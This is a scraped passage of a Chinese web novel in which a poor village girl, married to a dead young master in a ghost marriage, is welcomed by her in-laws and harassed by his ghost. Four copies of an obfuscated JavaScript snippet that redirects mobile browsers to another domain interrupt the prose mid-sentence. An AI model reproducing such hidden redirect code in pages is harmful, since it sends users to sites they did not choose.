李春雪安了心绪,她跪了下来,婢女端来茶盏,她一一拿起,恭恭敬敬地递给公婆。 “爹——” “娘——” 两人喝下茶,这礼便算成了。 媒婆一时也被这变更弄得一愣,哪有人家成亲这般草率的。 不过这也不是一般的人家。 她立马机灵道:“礼成!送入洞房!” 有婢女前来将李春雪扶着回到婚房。 红烛摇曳的婚房内,绣花的绸绵锻面上铺着红枣、花生、桂圆、莲子,寓意着“早生贵子”之意。 李春雪端坐着,她陷入沉思中。 婢女见此,大惊提醒道:“夫人,这盖头不能自己掀开。” 李春雪回过神,微微垂眸:“哪里又有新郎为我掀盖头。” 再去找一只公鸡吗? 婢女一时语塞,只好俯身离开了。 李春雪打量着房中的布置。 红木床榻,珍贵的画像,成群的婢女小厮…… 种种的一切都昭示着程家的富贵。 包括那程家公子——程琛言。 在他还尚在人间时,李春雪曾听过他的名声。 人生得俊朗,家中锦衣玉食,偏偏还长成了温润如玉的性子,博学多才。仿若所有的好处都让他一人独占了去。 可能是天妒英才吧。 三年前程公子突然生了一场大病,病重缠身,没多久便去了。 倘若不是这个原因,这程夫人又哪里轮得上她一个小村姑当。 人不能太贪心了。 李春雪深知这个道理。 先前她痛苦欲绝,但既然已决心好好过日子,那便就不去怨天尤人。 李春雪站起身,走至桌前,她倒满一杯酒,仰头一饮而尽。 她没喝过酒,但她显然酒量很差,只喝了一口,眼前便开始昏沉了。 面前似乎出现了一个身着白袍的青年,眉目俊朗,额头处一抹荷花的印记若隐若现,他微微弯唇:“怎么一个人在喝交杯酒?” 李春雪努力瞪大眼睛,她的面色浮现一抹红晕。 她还从未见过生得这般好看的人。 是从天上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14252894|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吧。 青年挑眉,看着她晕晕沉沉的模样,他忽然凑了过去,一股茉莉花的味道传来,李春雪揉了揉鼻子。 脑子越发晕乎乎了。 “一个人喝有什么意思,不如让我来陪你喝交杯酒吧。” 李春雪最后一丝清明在思索着:交杯酒也能陪着喝吗? 下一秒便被凑近的美色蛊惑了。 她晕晕沉沉地被抬起手臂,身体似乎不是自己的了,思绪也不受自己控制了。 李春雪拿起酒杯,一杯一杯地灌下肚。 辛辣刺激的感觉从小腹升起。 女子红着脸,努力反驳着:“不对,你怎么不喝?” 哎呀。 这还没晕过去呢。 青年唇边的弧度越大了。 “喝呀,自是要喝的。” 他给自己倒满了一杯酒,倒入喉内,却见那液体竟是凭空消失了,无影无踪。 李春雪终于抵抗不住,她头往下,“砰”一声,撞在了桌子上。 青年看着她,唇角勾笑,眼睛中却没有笑意。 他将人丢在这里,自己走进内堂,倘若有人在此地的话,便能发现他的脚下竟是没有影子的,身子轻飘飘的,让人惊悚。 只见他轻吐气息,屋内原本喜庆的布置竟倏忽间没了影。 这时,这间屋子的原本样貌这才显露出来。 黑色的,阴森的,没有光亮的。 青年满意地眯眼。 想到爹娘莫名给自己定下一门亲事,还将自己的屋子布置成那个鬼样子,他冷嗤一声。 程琛言转过身,漫不经心地瞥了一眼那醉倒在桌前的女子。 不愿走的话,他有的是办法与手段。 婢女听见屋内的奇怪的声响,心中一急,在门外喊道:“夫人,您怎么了?” 程琛言甩袖,屋子中的布置又变回了方才的红色绸花状。 他的身影淡去。 “夫人——” 婢女久久不见回应,顾不得礼仪,推开门便看到醉得不省人事的李春雪。 * 翌日。 宿醉一宿的李春雪揉着额头,慢吞吞地睁开眼睛。 脑袋似乎被人狠狠击打了一下,疼得她龇牙咧嘴的。 “夫人,您怎么喝了这么多酒?” 婢女小心翼翼地询问着。 李春雪也惊奇着,她怎么喝了那么多酒。 努力回想昨夜的记忆,只要一想,头就疼得厉害。 难不成是贪欢。 她没有多在意。 婢女见李春雪一副遮遮掩掩,不愿多说的模样,心中叹息一声。 夫人虽说是嫁进富人家了,日后的生活是不愁了,但夫人年纪轻轻便守了活寡,换作哪个姑娘家都会心生烦闷吧。 更严重些,轻生者也有,夫人只是借酒消愁。 想到这里,婢女呼了口气。 幸好幸好。 倘若夫人真想不开寻短见,第一个遭殃的便是伺候在夫人身边的婢女们。 “夫人,时辰不早了,该去给老爷夫人请安了。” 李春雪一惊,连忙起身。 喝酒当真误事,她竟是把这么重要的事情也忘了。 匆忙赶到正堂去,老爷和夫人端坐在餐桌旁。 李春雪心中恐慌感升起。 她忐忑不安地走前去。 “春雪一时贪欢,竟误了给爹娘请安的时辰,该罚。” 出乎意料,两人眉眼弯弯,没有生气的迹象。 程夫人笑着走过去,拉着李春雪的手道:“无事无事,成亲也累着你了,多睡一会儿也是好的。” 程老爷唤道:“饿坏了吧,快坐下。” 李春雪一时怔愣住,她努力憋住涌上心头的泪意,应了一声。 程夫人尤其热心,一直给李春雪布菜。 热腾腾的饭菜一口又一口地落入口腔,温暖着腹部。 58. 阴暗男鬼 李春雪的目光落在面前的青花瓷碗上,久久没有移开。 程夫人看了过去,是一碗再普通不过的鸡蛋羹。 “怎么了?” 李春雪恍若回神,她摇摇头:“无事。” 程夫人笑笑,将鸡蛋羹挪了过来:“莫要生分,既是一家人,这里便是你的家。想吃什么就吃什么。” 勺子舀了一小块,李春雪感受着口腔中鸡蛋羹的绵软与香气,忽然有点想落泪。 女子眼眶一下子红了,程夫人吓了一跳,忙问道:“春雪怎么了?可是这鸡蛋羹的味道不合你的胃口?” 李春雪咽下哽咽:“只是觉得很好吃,我从未尝过鸡蛋羹。” 程夫人嗐了一声,笑道:“日后让厨娘给你每天都备上一道。” 李春雪点点头,悄悄移开目光。 她说谎了。 其实她吃过鸡蛋羹的。 在她离家前的最后一天。 那日爹娘破天荒地让李春雪上桌吃饭,态度殷勤又热情,他们一直在给她夹菜,甚至将弟弟独属的鸡蛋羹也递给了李春雪。 李春雪又惊又喜。 她将鸡蛋羹分成好几份,要递给弟弟妹妹吃,爹娘连忙拦住她:“春雪,你是大姐,平日里的辛苦我们都看在眼里,爹娘心疼你,这碗鸡蛋羹是专门为你煮的,你可不要再推辞了。” 话落,李春雪眼眶便红了。 她心中充盈着满足,只道爹娘终于看到她的好了。 那碗鸡蛋羹李春雪吃的很香,刚刚放下碗筷,眼前便开始昏沉,紧接着倒在地上不省人事。 意识残留之际,听见爹呸了一声道:“这傻妮子竟然还敢不去嫁人,真是翅膀硬了。” 娘哼道:“少说几句,赶紧准备,花轿还在外面等着呢。” 紧接着,她便被穿上嫁衣,塞进花轿,成为了冥婚的新娘子。 * 吃过饭后,程夫人拉着李春雪要去街边闲逛。 李春雪推脱道:“娘,我近日疲乏,去了恐怕有扰您的兴致。” 程夫人又劝了几句,见李春雪依旧态度不变,她故作冷脸道:“春雪再推辞下去,我可就真的要生气了。” 李春雪被吓到,连忙答应了。 程夫人的脸色立马转晴,她拉着李春雪的胳膊:“这路途也不远,这马车也没必要坐,你我二人便步行去吧。” 程夫人实在热情。 一路上又是嘘寒问暖,又是买小玩意给李春雪。 李春雪平生哪里受过这种对待,她受宠若惊的同时又下意识想要逃避。 正胡思乱想之际,程夫人忽然转头认真地看着李春雪。 程夫人虽已不再年轻,但她身材苗条,气质优雅大方,岁月带给她的也不是磋磨,反而使她多了几分风韵。 李春雪被这目光盯得心头一紧,连忙垂头,两人的手搭在一起,李春雪是个年轻姑娘,但她已做了数不清的苦活重活,手上布满了老茧,看起来竟是比程夫人的手也要粗糙几分。 李春雪被这一幕刺痛,连忙缩回手,心中的窘迫升起。 程夫人也不生恼,她笑道:“春雪瞧着也是个美人胚子,就是不会打扮,今日就让为娘好好打扮你一下。” 没等李春雪抗拒,她便将人推搡着进了成衣铺。 小厮热情地问道:“两位夫人想要什么样式的衣裳呢?” 程夫人笑笑,目光看向李春雪:“你且看看,什么衣裳适合这位姑娘。” 小厮打量的眼神落在这站在程夫人身旁的女子上,她眉目清丽,五官端正,虽不惹眼,细看却耐看得紧,就是身子骨太瘦弱了,仿佛衣裳下面只有一个骨头架子,下巴尖得硌人,弱不禁风的。 李春雪不习惯他人的注视,微微垂头,身子不自觉地往程夫人身后移动。 小厮忽然想到了什么。 他噔噔噔地跑走,拿了一件衣裳,又过来。 那是一件青黛色的襦裙,设计轻巧,看着并不厚重,摸上去却觉得细腻。 程夫人点点头,她看向李春雪:“你可喜欢?” 李春雪有些羞涩地移开目光,小声道:“我也能穿这么好的衣裳吗?” “哪里说的话,你既然嫁进我程家了,便是我程家的人,什么衣裳都穿得的。” 李春雪心头一暖,被人推着进去试衣裳。 好半晌,她才出来。 程夫人与小厮皆眼前一亮。 太适合了。 果真是人靠衣裳马靠鞍,原本带点土气的小娘子立马摇身一变,看起来颇有气质,仿佛大户人家的小姐似的。 李春雪有些不自在地揉着裙角:“……好看吗?” 程夫人点点头。 走上前:“瞧我说过什么,春雪收拾一番,自是好看得不得了。” 李春雪羞涩地笑笑。 她抬眸,看向镜中的自己。 又陌生又熟悉。 没人不喜欢美的自己,李春雪好心情地翘起唇角,眼里含着笑意。 忽然想到什么,她看向小厮:“这裙子的价格……” 小厮笑道:“这件襦裙乃是苏绣,做工精细,由上好的绣娘所制,且襦裙的布料为天丝,轻盈柔软,因此价格会稍微高昂一些,为一百二十两银子。” 一百二十两…… 李春雪惊愕万分。 她家一年的所有花销也没有这么多, 刚才看着还喜爱的襦裙顿时如同烫手山芋一般,她竟是将一百二十两穿在了身上。 李春雪变了脸色,悄声向程夫人道:“娘,我不喜欢这个,算了吧。” 程夫人挑眉:“当真?” “当真。” 李春雪回得干脆,打死她也不可能买这么贵的一件衣裳。 “好,那麻烦小公子给我们包一下。银两来程府取就好,衣裳也一并送到程府来。” 小厮喜笑颜开,连忙喜滋滋地去收拾了。 两人出了门,李春雪拽拽程夫人的手:“娘,您这是作何?” “瞧你那目不转睛的模样,就知晓喜欢得紧,为娘看你穿那衣裳也好看,喜欢便买下就是。” 李春雪被这理所当然的语气弄得一噎,她喜欢自然是喜欢的,但那价格真是不敢恭维。 她也知晓程府有钱,但为了她花这么多银两值得吗?娶她进门已给了爹娘那么多聘礼,程家两老又对自己这么好…… 李春雪想到这里,忍不住哽咽起来。 程夫人将手帕递了过来:“你看你,来我们家哭了几次了,不知晓的,还以为是我们欺负你呢。” 她含着笑道。 李春雪立马反驳道:“……没有!你们对我都很好。” 自己的亲生爹娘对自己视作草芥,毫无血缘关系的公婆却对自己这么好。 程夫人忽然面色凝重,她开口道:“不瞒你说,为娘做这些也有私心。” 她摩挲了两下李春雪的手。 眼中带着疼惜。 “你是个好姑娘,日后定能找个如意郎君,幸福相伴一生,却因为我们的一己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14286132|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之私,被迫卷入到这复杂的环境中,年纪轻轻便守了活寡,我们也心怀愧疚,自是能补偿你的便补偿。” 李春雪摇摇头:“娘您别自责,我在程府很好。” 这句是真的。 自从来了程府,她整个人都开心了许多。 不用担惊受怕,不用做苦活累活,还有公婆的关爱。 这是以前的她怎么也不敢想的。 程夫人眼含泪花,拍拍李春雪的手:“好孩子好孩子。” 她忽然有些抑制不住自己的情绪:“娘也心痛,你说说,娘好好的孩子怎么突然就离我而去,独留下我们做爹娘的自个心痛……我有时会做梦,梦见琛言回来了,他说他一个人在下面好孤独,我就心想着,旁人生到琛言的年纪,孩子都有了,我们的琛言却连娶妻都未曾,这才动了办冥婚的想法……” 两人抱在一起,李春雪拍拍她的脊背以示安抚。 她沉默地垂下眼眸。 有这么好的爹娘。 倘若那程公子还在,定也是会心痛的。 或许是袒露心扉的缘由,再回去时,两人态度比先前熟稔了些,看着更像是母女了。 李春雪从小吃苦长大,在街上,竟连糖人、糕点……都未曾尝过,程夫人又惊愕又心疼,大手一挥,看见什么都想着给她买。 大包小包缠身,不好走回去,便雇了一辆马车,平稳地行驶回府。 程夫人睡着了,靠着李春雪的肩膀。 不重,但温热的呼吸时不时地从肩头传来。 李春雪不自在地看向窗外。 她的目光穿梭在程夫人给自己买的各种东西上,不自觉弯唇。 时隔多年,她头一次感受到属于母亲的关怀。 哪怕这是出于愧疚之心。 李春雪依然感觉满足。 回屋后,婢女看出她的疲惫,连忙递上热茶,又唤人去备热水以供夫人沐浴。 热茶滑入咽喉,口干舌燥之感立马减缓了些许。 “夫人看起来格外得开心。” 婢女小心翼翼地开口道。 李春雪闻言一愣,她走向铜镜,才发觉自己的眉间始终含着一抹喜色,唇边的弧度始终没有落下。 她微微弯眸:“对,特别特别开心。” 不合时宜的,李春雪忽然想起今日程夫人的话。 她说:“倘若日后春雪有心仪的郎君了,不要感到为难,为娘定会做主还你自由之身,现在……就当让一个心系孩子的母亲心里多一分慰藉吧。” 李春雪从未喜欢过别人,也不知晓自己日后是否会有心仪的人,但她喜欢现在待在程府的生活。 “娘与程公子先前是如何相处的?” 她忽然有些好奇,这么好的母亲是怎么对待孩子的。跟她的家庭又有多大的区别。 婢女想了想,说道:“少爷从小乖巧,知书达礼,从不惹事,很少让老爷和夫人操心,不过有一点……” 李春雪抬起眼眸。 “少爷到成婚年龄后,身边也始终没有一个倾心的女子,夫人害怕极了,因为……因为涟城那时兴起了龙阳之风,夫人害怕少爷也是……” 倏忽间,一股邪风吹来,将桌上的茶杯打落,“啪”的一声,茶杯变成了碎片,吓了两人一跳。 婢女拍拍胸口,勉强压下面上的惊恐之意:“哪里来的怪风!” 她连忙起身收拾。 李春雪的目光落在紧闭的窗户上。 这真是奇怪了,门窗皆紧闭,哪里来的怪风。 59. 阴暗男鬼 “咚咚”两声轻叩屋门。 婢女前去看了一下,轻声道:“夫人,沐浴水备好了。” 浴桶被小厮抬了进来。 婢女欲上前伺候李春雪,对方却如惊弓之鸟般躲开。 李春雪红着脸颊,磕磕绊绊道:“…我…我自己来吧。” 婢女犹豫了半晌,还是退下了。 李春雪将身上的衣裳一件一件地脱下,赤裸地踏进浴桶,将身子沉没进去,热水温暖着她,一天的疲惫感也随之消失了。 她洗了好久,待水凉得差不多了才起身。 手指落在折叠整齐的青黛色襦裙上,李春雪犹豫了一下,将衣裳拿了起来,再次穿上身,心境已大不相同。 这次这件昂贵的襦裙真正地属于自己了。 盯着铜镜中的人,李春雪扬起唇角。 明亮的屋子忽然间变黑。 李春雪的身子一抖,被这场面吓了一跳,她摸索着走到桌前,才发觉是煤油灯熄灭了。 她松了口气。 重新点燃后,没过三秒,又灭了。 她不信邪,再次点燃,如此反复。 李春雪咽了下口水,努力平复着自己的心情。 没事的。 没事的。 好在第五次点燃后,煤油灯终于长久地亮着,再也没有熄灭。 应当是自己的手法哪里出错了吧。 李春雪安慰着自己,以前家中只用得起廉价的蜡烛点灯,来了程府,她才得以用上煤油灯,出错也是正常的。 她这样想着,还是轻挪脚步,将门窗关严实。 又将襦裙脱下,小心翼翼地叠放整齐,女子身上现在只穿着白色的里衣。 李春雪捶捶酸痛的四肢,昨夜醉得不省人事,竟倒在桌上昏睡一夜,隔日醒来身上哪里都是疼的。 她向床榻走了过去,正欲倒下去,忽然感到一股邪风从背后袭来,仿佛有人伸出手将她扔了出去,李春雪还未靠近床榻,便整个人飞了出去。 “啊!” 疼痛感袭来,她龇牙咧嘴地痛呼着。 紧接着,李春雪瞪大眼,这是怎么回事。 她警惕地扫视着四周。 这根本不是常理能够解释的。 莫非…… 李春雪眼前浮现恐惧。 莫非是传说中的鬼上身。 她试探性开口道:“有人吗?是谁在装神弄鬼?!” 周遭一片寂静,只能听见她自己因紧张喘着粗气。 李春雪抿唇,慌乱地心想道,不管是什么原因,今夜看来她是上不了这床榻了。 退而求其次,她小心翼翼地走向屏风背后的小榻上。 所幸,这次没有坏事发生。 李春雪的心放了下来。 她躺在小榻上,原以为自己会因为害怕睡不着觉,不承想,睡意很快袭来,她闭上了眼睛。 李春雪睡得很香,甚至开始打起了鼾声。 声音不大,但在空荡的屋子中尤为突兀。 一抹身影逐渐显现。 白袍青年看向那酣睡的女子,一双凤眸微微扬起,他面露嫌弃。 这女人可真没有一点女人的样子,哪里有姑娘家睡姿这般随意的。 李春雪的确睡姿不好。 平日里看着乖巧,任谁也想不到,她在夜晚有多么折磨人。 以前在家中,与几个妹妹挤在一个床睡,妹妹们纷纷叫苦不迭,醒来后,个个顶着颇大的黑眼圈。 李春雪心生愧疚,便努力约束自己,但睡梦中的人又哪里能管得住自己。 现在也是,两双胳膊不安分地从被子里伸出来,耷拉着垂下来,双腿以一种扭曲的姿势摆着。 程琛言的目光凝在女子露出的莹白肌肤上。 说来奇怪,李春雪常会下地,但肤色却不像寻常农家姑娘那般黝黑,多年劳作下来,也只是比起先前黑了一点,这也是她常常感到欣喜的一件事。 他移开目光。 似乎想到了什么,程琛言眼里恶意升起。 他心生一动,一支画笔出现在手中。 微微俯身,李春雪方才刚沐浴过,玫瑰花瓣的香味还弥留在身上,程琛言靠近的时候不自觉轻嗅了一下。 他垂眸,随意甩了几笔,便见那睡得香甜的女子脸上便出现了几个颇大的藤蔓。 画完后,程琛言唇角上扬,他目光闪过冷意,身影渐渐消散。 不过半晌,屋子重归于寂静空荡,倘若不是李春雪脸上那触目的藤蔓,可能会让人以为方才那一切都是幻觉。 翌日。 李春雪看着铜镜中的自己,心头的软肉被人揪了起来。 她茫然地看向窗外。 屋中的诡异事端常常发生,她掩耳盗铃地安慰着自己都是错觉,现在这藤蔓便是那装神弄鬼之人将她的粉饰彻底击碎的手段。 那人仿佛在说:——“我知道你发现了……” 婢女进来后,大吃一惊。 “夫人,这藤蔓……” 她连忙将手帕沉入水盆中,湿答答的帕子被婢女温和地贴在脸颊上,她轻轻地擦拭着:“夫人,奴婢这就给您擦干净。” 手帕拿下后,婢女惊愕道:“……怎、怎么会?!” 那分明是画笔所致,怎么会擦不下来。 她不信邪,正想加大力度,手臂被人轻轻拦下。 李春雪看向婢女:“给我拿个面纱就好。” 婢女张口又闭口,只好道:“是。” 门被推开又关上,李春雪强迫自己停下胡思乱想的思绪,她已打定好主意留在程府,好好过日子,不能因为这些装神弄鬼的小把戏退缩。 婢女的速度很快,她将面纱拿来,李春雪看着铜镜戴好,确保没有一丝藤蔓的痕迹显露。 “夫人,老夫人唤您去库房,有要事商议。” 李春雪嗯了一声。 她想了想,在纸上写了几个字,用茶杯垫好,确保不会被风吹走后,她跟在婢女的身后出去了。 微风吹拂,纸张哗啦啦地响着。 几个字映入眼帘——“我不怕你,你想让我畏惧而逃,不可能!” 走在路上之际,李春雪还在思索娘唤自己去库房是为何事。 待程老夫人说了意图后,李春雪面露紧张,她犹豫道:“……我不过……就是一个农家姑娘……能做得了吗?” 程老夫人沉吟了半晌,她看向李春雪,目光如炬:“倘若你自己也没有信心,那定是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14295096|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做不好的,我也不勉强你。” 李春雪咬咬牙,她说道:“好!我一定可以做好的。” 程老夫人点点头。 她给李春雪介绍着:“我们程府虽不是什么大富大贵之家,名下却也有几家店铺,这些年一直由我在背后打理着,春雪你不用压力过大,这也是我们家的传统,女子也可管家,并且能比男子打理得更好!” 程老夫人一向是温和慈爱的,此时她目光坚定,脸上隐隐带着锋芒,李春雪不自禁被吸引住。 “春雪可上过学堂?” 李春雪闻言脑袋耷拉了下来:“未曾。” 家中贫困,爹娘哪里舍得花钱供孩子上学堂,照他们的话便是:“上学堂能吃饱饭吗?老子银两哪里够你们这群小崽子挥霍的。” 程老夫人有些惊诧,她多看了李春雪几眼:“倒真看不出,春雪瞧着知书达礼,那定是识字的。” 李春雪羞涩地咬唇,她点点头:“看过很多书,识一点字。” 她喜欢看书,家门口几百米处有一家书铺,她没钱去看,便给人家打劳工换书看,白天做活,晚上偷偷沾着街边人家的亮灯坐在地上看书。 “那便足够了。” 程老夫人点点头,她又问道:“那可会算数?” 李春雪窘迫之心升起,识字方可自学,算数便只有那些上学堂的孩子学过,在她们那里,谁若是会算数,便也是个稀罕物。 她摇摇头。 正当李春雪陷入困窘之境,程老夫人无所谓道:“无碍,春雪看着聪慧,现在学还来得及。到时候便学着打理家中的店铺,我老了,也好放手给你。” 李春雪闻言眼睛亮亮的,使劲点点头。 程老夫人给了她许多有关算数的书籍,原先她还想给李春雪请先生来,被李春雪婉拒了。 女子认真道:“我想试着以自己的能力学习,倘若实在不行,便随娘的意思。” 程老夫人闻言心生满意,她点点头。 聪慧,勤奋,有上进心,她就喜爱这样的小辈。 话说完后,程老夫人这才反应过来,李春雪今日忽然戴了面纱,只露出一双水眸。 “怎么忽得戴这个了?” 李春雪后知后觉地摸摸面纱,心里浮现一抹不自然,她解释道:“最近喉咙疼痛,今早脸上起了好几个疙瘩,难看得紧,怕吓着旁人了。” 程老夫人蹙眉:“近日天气的确干燥,我派人给你房中送些绿豆汤与药膏。事关女子容貌的事可不能马虎。” 李春雪笑着点点头。 * 李春雪有了干劲,她很快投入到学习算数之中,这个东西对于她来说是新鲜事物,具有很大的挑战,但李春雪喜欢这种感觉,在被知识包裹中,她重新感受到属于自己的价值。 每日不是吃饭、睡觉,便是抱着书籍埋头苦算。 一晃几日过去。 婢女看不下去,劝道:“夫人,您这样恐怕有些伤身体,要多加休息。” 李春雪这才从那魔怔的状态回过神来。 婢女上前来替她揉揉酸痛的肩膀。 李春雪目光涣散,忽然想起自己已经好久没有想起那“鬼”了。 不知他是否看到了自己留的纸条。 60. 阴暗男鬼 “夫人,老夫人唤您去后房找她。” 小厮高声道。 李春雪起身,不敢怠慢,连忙前去。 听见匆匆赶来的脚步声,程老夫人转过身,她弯眸道:“春雪近日学得如何?听你房中的婢女道你最近可谓是累坏了。” “是莺桃夸大其词了,我只是想要尽量充盈自己,没有这般夸张。” 李春雪有些不好意思地垂下头。 程老夫人目光闪烁,她将薄薄的一本递了过来。 “这账本里面有几处出错了,为娘正欲将其纠正过来,你来看看是哪里的问题。” 李春雪接了过来,她翻开一页又一页。 繁杂的内容扑面而来。 大量的数字平铺在上面,看着便让人头疼。 李春雪知晓这便是程老夫人对自己的一次小小的考验,她不由得咽了咽口水,心生紧张。 这情绪充斥着大脑,扰得她心烦,一时看不进去。 “静下来静下来……” 她在心里为自己暗示着。 或许是真有效果,她竟是真的平静了下来。 李春雪紧紧地盯着账本,不放过任何一处,书页翻动“哗啦啦”的声音响起,女子的神情愈发凝重。 大约半柱香的时间过去了,李春雪忽然抬头。 她指着一处道:“娘您看这里,店铺中分别所进浮光锦三百匹,所用银两1728两;炊烟罗一百三十匹,所用银两1045两;妆花缎四百二十匹,所用银两2312两。合计5085两,账本上却写着花费5120两。” 话落,李春雪轻瞥一眼程老夫人,见人没有异色,这才继续说了下去。 “还有这处,这家澜缕阁应当为胭脂铺,看账本往年的收入额极高,为何今年竟是跌落了这么多,胭脂这种商品应当是极其受欢迎的,即使不是生活中的必需品,也会有大量的受众群体愿意购买,因此就算今年的行情不好,也应当不会直接跌落几倍。” 程老夫人来了兴致,她问道:“你又是如何确定胭脂的受众群体较多,为娘看你似乎并不常买胭脂。” 这话便说得委婉了,李春雪哪里是不常买,她平生连胭脂铺都没踏进过一步。 嫁进程家前,她唯一的愿望便是能填饱肚子。 “在我生长的村子中,人人都要下地干活,女子亦是。生活艰苦,但总有女子攒下银两,为自己买个胭脂、首饰,当时我也不理解,说出来不怕娘笑话,我从未奢想过这些,我只想着……填饱自己的肚子,填饱妹妹们的肚子……” 李春雪说着说着便垂下头。 她抬起头,眼睛很亮:“我问那些女子为何要买这些,她们说,日子已经这样了,她们这辈子就是下苦的命,但人活着总得有个盼头,每次买下这些物件,用在自己身上,就觉得一天的辛劳都消散了。贫苦人家的女子尚且如此,何况是富贵人家的女子。” 程老夫人闻言拍拍她的手,眼里又怜惜又欣赏:“苦了你了。” 她正色道:“你说得不错。第一家店铺是一年前刚开张的,生意刚刚有起色,没有倚仗,底下的人便是小偷小摸的动作,只敢从中捞一点小油水,倒也无伤大碍;至于你方才说的澜缕阁……” 程老夫人冷哼一声。 “程家下面的老铺子了,不过是仗着几分人情,近些年来愈发猖狂,倘若不是因为老爷他优柔寡断,哪里容得这群人这般放纵,简直是蹬鼻子上脸!” 李春雪从未见过程老夫人这般气愤,连忙上前来安抚她。 “那……便这样放纵不管吗?” 这家店铺是程家财产来源的极大一处,这样下去,主家亏损的可不是一些。 程老夫人叹了口气:“不是不想管,而是不能。春雪你聪慧,却不知晓从中的曲折。” 李春雪一时失语,不知该如何回应。 “罢了,不提这些,春雪你是有天赋的,为娘相信你,日后定能担当大任。” 程老夫人笑道。 李春雪羞涩地笑笑。 “嘀嗒嘀嗒……” 两人扭头看去,窗外小雨淅淅,雨水从屋檐处滑落,惊起阵阵水坑。 “下雨了,天色已晚了,为娘就先回去了。” 程老夫人从屋中的角落取出两把伞,将其中一把递给了李春雪。 李春雪望着她离去的背影,止不住地勾起唇角。 在与程老夫人相处的过程中,她一直被肯定着,提醒着她——自己是有价值的,她的作用不是任劳任怨地做苦活,也不是嫁给男人换取聘礼。 狼狈地回到屋中,莺桃连忙迎了上来,递上干净的毛巾。 “夫人怎么带着伞,也将自己弄得这般狼狈?” “雨下得太大了。” 这雨变化得太快了,方才只是蒙蒙细雨,李春雪走到一半,便开始下起瓢泼大雨来,即使撑着雨伞,也没避免成为落汤鸡的结果。 李春雪拿起毛巾,搓了搓湿透的发尾。 莺桃奇怪地看了李春雪一眼。 怎么被淋湿了,夫人还一脸喜色。 李春雪顺手将面纱取了下来。 莺桃小声道:“夫人,这藤蔓痕迹似乎变浅了些许。” 话落,李春雪动作微缓,她走到铜镜前,仔细观察着。 似乎,,真的变浅了些许,不过很细微的变化,倘若不是她努力地观察,定是注意不到的。 身上黏黏的,莺桃下去准备沐浴水了。 李春雪将被雨水打湿的外衣脱下,只着里衣。 她坐在凳子上,目光不自觉落在桌前。 那张纸条还在。 甚至位置都没有变过。 仿佛没有人触碰过它似的。 李春雪也摸不透这是什么意思,她将纸张拿起,撕碎后又将其点燃。 火光熊熊燃起,将那脆弱的纸烧的一干二净。 李春雪的眉眼被火光映衬着,她眸中的困惑之意明显。 今夜她依旧警惕地选择在小榻上安眠。 或许是直觉告诉她,那个装神弄鬼之人似乎不想让她靠近主床榻。 李春雪不信鬼神,却也不想多生事端。 她摸不透那背后之人有何目的,倘若将人惹怒,自己的性命也危在旦夕。 考虑到房中可能有人在暗中监视着自己,李春雪不敢轻心,她在枕头下方藏了一把匕首,倘若那人敢乱来,她也好有还手之力。 或许是心有所虑,李春雪睡得并不安稳,她微蹙眉头,一点点小的动静也会将她惊醒。 多次折磨后,终于睡了过去。 待醒来天色已大亮,鸟叫的声音传来。 李春雪睁开眸子,在迷茫过后,第一反应时检查了一下自己与四周。 并无异常。 她忽然伸手摸去枕头那里。 李春雪脸色突然一白。 空的。 匕首不见了。 莫大的恐慌感铺天盖地地袭来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14310399|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李春雪的头几欲炸开。 她甚至怀疑是不是自己出现了幻觉,这一切都是假的。 但她又精确地知道自己在昨夜藏了一把匕首。 那人一直在盯着自己。 自己的举动自始至终都在他的眼皮底下。 看到自己的反抗之心,他甚至不屑于生恼,只是将匕首取走,明目张胆地让她知晓他的嘲笑之意。 ——“你是多么得弱小。” 李春雪身子一抖,她茫然地继续在枕头下面摸索着,她也不知道自己还在挣扎着什么,倏忽,她的胳膊停下。 将那藏在枕头深处的物件取了出来——是那把匕首。 因为她记忆中将匕首藏在左侧,所以一心在左侧寻找,却不想,竟是在最深处。 李春雪抚向额头,自己的记忆是否真的出了差错。 是自己记错了,还是那匕首自己滑落下去。 又或者…… 她已不再多想。 莺桃推开门,端着洗漱的物品。 